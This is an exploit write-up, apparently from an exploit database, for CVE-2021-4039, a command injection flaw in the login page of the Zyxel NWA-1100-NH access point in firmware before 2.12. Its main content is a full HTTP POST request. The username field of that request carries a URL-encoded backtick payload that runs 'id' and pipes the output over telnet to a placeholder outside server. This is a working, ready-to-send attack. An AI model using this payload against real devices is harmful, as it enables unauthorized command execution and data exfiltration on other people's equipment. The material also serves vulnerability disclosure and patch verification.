# Exploit Title: Zyxel NWA-1100-NH - Command Injection
# Date: 12/4/2022
# Exploit Author: Ahmed Alroky
# Vendor Homepage: https://www.zyxel.com/homepage.shtml
# Version: ALL BEFORE 2.12
# Tested on: Linux
# CVE : CVE-2021-4039
# References : https://download.zyxel.com/NWA1100-NH/firmware/NWA1100-NH_2.12(AASI.3)C0_2.pdf , 
https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml


HTTP Request :

POST /login/login.html HTTP/1.1
Host: IP_address:8081
Content-Length: 80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http:/IP_address:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://IP_address:8081/login/login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

myname=ffUfRAgO%60id%7ctelnet%20yourserverhere%2021%60&mypasswd=test&Submit=Login